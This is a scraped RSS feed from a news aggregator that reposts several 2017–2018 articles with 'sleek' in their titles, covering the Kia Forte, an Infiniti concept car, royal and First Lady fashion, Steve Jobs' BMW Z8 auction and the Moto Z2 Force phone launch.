2019 Kia Forte First Drive – Sleek, but Seeking Sophistication https://briefnews.eu/2019-kia-forte-first-drive-sleek-but-seeking-sophistication/ https://briefnews.eu/2019-kia-forte-first-drive-sleek-but-seeking-sophistication/#respond Fri, 07 Sep 2018 13:39:28 +0000 http://briefnews.eu/2019-kia-forte-first-drive-sleek-but-seeking-sophistication/ Kia’s message to media assembled in Pittsburgh to sample the 2019 Kia Forte was simple – “Play It Loud.” The Korean brand’s been on a rock n’ roll kick for a while now, trying to play the feisty little sibling to Hyundai. Kia’s the one still on campus, partying it up, while Hyundai plays the […]

The post 2019 Kia Forte First Drive – Sleek, but Seeking Sophistication appeared first on The Truth About Cars.

]]>
https://briefnews.eu/2019-kia-forte-first-drive-sleek-but-seeking-sophistication/feed/ 0
Infiniti Prepares for an Electric Future With a Sleek New Concept https://briefnews.eu/infiniti-prepares-for-an-electric-future-with-a-sleek-new-concept/ https://briefnews.eu/infiniti-prepares-for-an-electric-future-with-a-sleek-new-concept/#respond Fri, 24 Aug 2018 06:07:03 +0000 http://briefnews.eu/infiniti-prepares-for-an-electric-future-with-a-sleek-new-concept/ The newly unveiled Prototype 10 has just one seat, needs no fuel, and is a sign of where the cars of the future are headed.


https://media.wired.com/photos/5b7dc8610bbd3b1d690261b8/master/pass/INFINITI-Prototype10-4K-004.jpg

]]>
https://briefnews.eu/infiniti-prepares-for-an-electric-future-with-a-sleek-new-concept/feed/ 0
Meghan Markle wears sleek camel coat as she walks to Sandringham church with Prince Harry https://briefnews.eu/meghan-markle-wears-sleek-camel-coat-as-she-walks-to-sandringham-church-with-prince-harry/ https://briefnews.eu/meghan-markle-wears-sleek-camel-coat-as-she-walks-to-sandringham-church-with-prince-harry/#respond Mon, 25 Dec 2017 11:39:23 +0000 http://briefnews.eu/meghan-markle-wears-sleek-camel-coat-as-she-walks-to-sandringham-church-with-prince-harry/

Meghan Markle, 36, joined Prince Harry, 33, and the rest of the Royal Family as they walked to Sandringham church for the Christmas Day service.

Showing off her style credentials, Meghan wore a sleek camel coat which was belted tight around her waist.

She topped this off with an extravagant brown hat, which had a twist details to the side.

Meghan walked arm in arm with her husbnad-to-be, smiling as she went.

Meghan paired the look with a pair of brown suede boots.

Let’s block ads! (Why?)

Daily Express :: Life and Style Feed

]]>
https://briefnews.eu/meghan-markle-wears-sleek-camel-coat-as-she-walks-to-sandringham-church-with-prince-harry/feed/ 0
It was Steve Jobs'. It's sleek, silver, for sale: But Apple didn't make it, BMW did https://briefnews.eu/it-was-steve-jobs-its-sleek-silver-for-sale-but-apple-didnt-make-it-bmw-did/ https://briefnews.eu/it-was-steve-jobs-its-sleek-silver-for-sale-but-apple-didnt-make-it-bmw-did/#respond Sat, 04 Nov 2017 18:15:32 +0000 http://briefnews.eu/it-was-steve-jobs-its-sleek-silver-for-sale-but-apple-didnt-make-it-bmw-did/

Excited about the upcoming iPhone X but not so much about its ubiquity? Then here’s something for the Apple fan who has everything: Steve Jobs’ 2000 BMW Z8.

When the Z07 concept car was unveiled to the world at the 1997 Tokyo Auto Show, the oohs and aahs it elicited were so great that BMW decided to bring it to production. As an homage to the BMW 507, a 1950s roadster with a 3.2-liter V-8 and style that rivaled a certain gull-winged German competitor, the $ 128,000 Z8 hit the streets for 1999 largely faithful to the Z07 concept. In five years, BMW produced 5,703 Z8s, with 2,543 coming to the U.S.

According to RM Sotheby’s, Larry Ellison, the CEO of Oracle, raved to Jobs that the Z8 was the epitome of German thinking, which matched nicely with Apple’s modus operandi. And that was true. The Z8 featured a 50/50 combination of form/function yet wasn’t a one-trick show pony: Its 394-horsepower 4.9-liter V8 (shared with the M5) and under-the-skin components offered performance that stood up to its contemporaries — including Ferrari.

This particular Z8 was built on April 1, 2000, and was delivered to Jobs on Oct 6. He kept it through 2003 before selling it to its current owner. The latter kept it for one year but soon regretted the decision to sell, managing to score it again 18 months later. Now showing 15,200 miles, this Z8 includes key accessories like the standard hardtop and stand, car cover and, by golly, a signature BMW/Motorola flip phone. Also included are registration papers, owner’s manuals, and service records.

Jobs’ Z8 is the most common color combination of Titanium Silver with Black interior (with 1,895 built), and the signature combination that perfectly presents its lines and form — as clean and uncluttered as the original iPod that would debut a year later. NADA Guides lists a 2000 Z8 being worth close to $ 200,000 on average, but RM Sotheby’s estimates this car’s ownership history will push it towards $ 300,000 – 400,000 at its New York “ICONS” auction on Dec. 6.

That’s quite the bargain compared to a 1957 507.

Related Video:

Let’s block ads! (Why?)

Autoblog

]]>
https://briefnews.eu/it-was-steve-jobs-its-sleek-silver-for-sale-but-apple-didnt-make-it-bmw-did/feed/ 0
Thrifty Melania Trump re-wears sleek Michael Kors dress last seen during Donald’s campaign https://briefnews.eu/thrifty-melania-trump-re-wears-sleek-michael-kors-dress-last-seen-during-donalds-campaign/ https://briefnews.eu/thrifty-melania-trump-re-wears-sleek-michael-kors-dress-last-seen-during-donalds-campaign/#respond Wed, 02 Aug 2017 19:05:07 +0000 http://briefnews.eu/thrifty-melania-trump-re-wears-sleek-michael-kors-dress-last-seen-during-donalds-campaign/

Melania, 47, shared a post to Instagram of herself wearing the dress as she met with White House interns.

She captioned the post: “Thank you to all of our East wing interns for their dedication! The future is bright with these hard workers!”

The First Lady stood in the middle of four interns, smiling broadly.

Unlike the Duchess of Cambridge, who often re-wears clothes, Melania has not yet been noted wearing the same outfit twice since her husband became President.

But she is clearly a fan of this dress, as it is the first to make not one, but two appearances.

The chic white dress had a high neckline, no sleeves, and came below Melania’s knee.

It was nipped in at the waist to show off her fabulous figure, and two gold buttons added an interesting detail.

This time, Melania paired the dress with a pair of satin court shoes and wore her hair tumbling over one shoulder.

By comparison, Melania keep her hair in a middle parting and wore it over both shoulders last time.

The last time Melania wore this dress was at a rally in May 2016 when Donald Trump won the Indiana primary, becoming the presumptive Republican nominee for president.

Melania may not wear clothes again that often, but she has gained a reputation as a style icon during her husband’s presidency.

Most recently, she flaunted her curves in a pretty pink floral dress during an outing with Donald.

The First Lady showed off her toned arms in the sleeveless floral dress when she stepped out for the night out.

The knee length hem flared out at the top of her legs, giving the dress more movement.

Her floral laser cut design was emphasised by the bright pink and yellow detailing on it.

The high neck kept the dress looking elegant.

Let’s block ads! (Why?)

Daily Express :: Life and Style Feed

]]>
https://briefnews.eu/thrifty-melania-trump-re-wears-sleek-michael-kors-dress-last-seen-during-donalds-campaign/feed/ 0
Motorola’s sleek, sturdy Moto Z2 Force arrives on August 10 https://briefnews.eu/motorolas-sleek-sturdy-moto-z2-force-arrives-on-august-10/ https://briefnews.eu/motorolas-sleek-sturdy-moto-z2-force-arrives-on-august-10/#respond Tue, 25 Jul 2017 15:33:40 +0000 http://briefnews.eu/motorolas-sleek-sturdy-moto-z2-force-arrives-on-august-10/

So far, Motorola has spent its year churning out reliably good mid-range devices, not to mention a handful of new Moto Mods. Not bad, but now it’s finally flagship time. Motorola officially revealed the Moto Z2 Force in New York this morning, and — as expected — it’s a surprisingly slim smartphone you’ll have a hard time breaking. And here’s the best part: it’s not just a Verizon exclusive. Motorola says the Z2 Force will be available unlocked and on all four big US carriers starting on August 10.

On paper, the Z2 Force sounds mostly great. It packs a Snapdragon 835 chipset and 4GB of RAM, like a host of other flagships this year. (The rest of the world actually gets a better base model with 6GB of RAM.) Motorola and Lenovo also finally jumped on the dual-camera bandwagon by blending one 12-megapixel monochrome sensor with another 12-megapixel color sensor, much like Huawei did with its P10. You probably don’t need me to tell you that not all dual-camera setups are created equal, so we’re really looking forward to trying this one out. Oh, and it runs Android 7.1.1 Nougat, complete with the usual slew of Moto Actions — you know, like twisting the phone to launch the camera or waving your hand over the screen to see your notifications. Really, who didn’t see these updates coming?

These new additions are still welcome, but the familiar Moto Z formula definitely hasn’t gone anywhere. The 5.5-inch AMOLED screen running at Quad HD hasn’t gotten any bigger or crisper since last year, but it’s thankfully just as durable thanks to Motorola’s ShatterShield design. Thanks to some extra protective lenses and an additional touch sensor layer over that screen, Motorola once again claims that random drops won’t destroy this things display. (We ran over the original Z Force with a car last year, so we’re inclined to agree.) And just like every other Moto Z we’ve ever seen, the Z2 Force packs support for Motorola’s magnetic mods, like projectors, game controllers, and yes, a new 360-degree camera.

Here’s the thing about the Z2 Force, though: it feels like a more powerful mashup of the Z and Z Force rather than a straight successor to the latter. Consider how thick this phone is — at 6.1mm, the Z2 Force is closer in size to the original Z. That might sound like a step in the right direction, and it definitely will be for some people. Unfortunately, the Z2 Force comes with a much, much smaller battery — think 2,730mAh versus 3,500mAh in last year’s model.

Motorola says the Z2 Force’s smaller battery will last all day, and that’s probably true. That doesn’t take the sting out of losing one of the Force line’s most valuable features: the ability to plow through around two days of work on a single charge. Motorola’s Turbo Chargers generally do a great job of powering up phones in a hurry, so hopefully this change won’t hurt too much. The event is still unfolding in front of us, so stay tuned for more info (and hands-on impressions) shortly.

Engadget RSS Feed

]]>
https://briefnews.eu/motorolas-sleek-sturdy-moto-z2-force-arrives-on-august-10/feed/ 0
Duchess of Cambridge heads to Hamburg wearing sleek lavender Emilia Wickstead dress https://briefnews.eu/duchess-of-cambridge-heads-to-hamburg-wearing-sleek-lavender-emilia-wickstead-dress/ https://briefnews.eu/duchess-of-cambridge-heads-to-hamburg-wearing-sleek-lavender-emilia-wickstead-dress/#respond Fri, 21 Jul 2017 13:38:19 +0000 http://briefnews.eu/duchess-of-cambridge-heads-to-hamburg-wearing-sleek-lavender-emilia-wickstead-dress/

The Duchess, 35, and husband Prince William were pictured waving to crowds at Berlin Hauptbahno station as they plan to round off their three day visit to Germany with a trip to Hamburg. 

She wore a long sleeved lavender dress by Emilia Wickstead which was fitted at the top and at the waist. 

The skirt of the dress hung loose, and she accessorised with a small dark red clutch bag. 

A pair of nude stiletto heels finished off the look.

The Duke and Duchess will celebrate the joint UK-German year of science in Hamburg this afternoon, which this year focuses on oceans at the city’s Maritime Museum. 

They will then travel to the Elbphilarmonie Concert Hall to listen to a special performance given by the Hamburg Symphony Orchestra for the children of Hamburg in the Elbphilarmonie. 

Their Germany visit will be finished off with a tour of Airbus training facilities, where they will meet with apprentices before viewing the final assembly line of an A320 aircraft. 

Duchess of Cambridge, Kate made two outfit changes yesterday while in Germany. 

In the morning she stepped out in a yellow lace dress, and it seemed she had been taking notes from Ivanka Trump, as the American Presiden’s daughter was seen in something very similar recently.

She paired the heavy brocade number with a pair of grey suede wedges which ave been a staple part of her wardrobe for some time. 

The Duchess made a swift outfit change from the summery yellow dress into a more comfortable stripe top and jeans outfit and prepared to take part in a local boat race.

As she walked through the streets of the historic torn of Heidelberg with Prince William, she wore a light blue and white striped top, black skinny jeans and a pair of white plimsole trainers. 

Not long after their visit to the town centre, the Duchess was pictured getting ready to take part in a boat race on the river. 

She tied her freshly chopped locks back into a low ponytail and put on some black square sunglasses to prepare for the event. 

Later in the day, Kate visited the last original dancehall in Berlin to attend a reception. 

She dazzled in a bird print dress which was cinched in at the waist with a silver belt. 

The Duchess wore a pair of Prada sandals on her feet, with a price tag of £655. 

Let’s block ads! (Why?)

Daily Express :: Life and Style Feed

]]>
https://briefnews.eu/duchess-of-cambridge-heads-to-hamburg-wearing-sleek-lavender-emilia-wickstead-dress/feed/ 0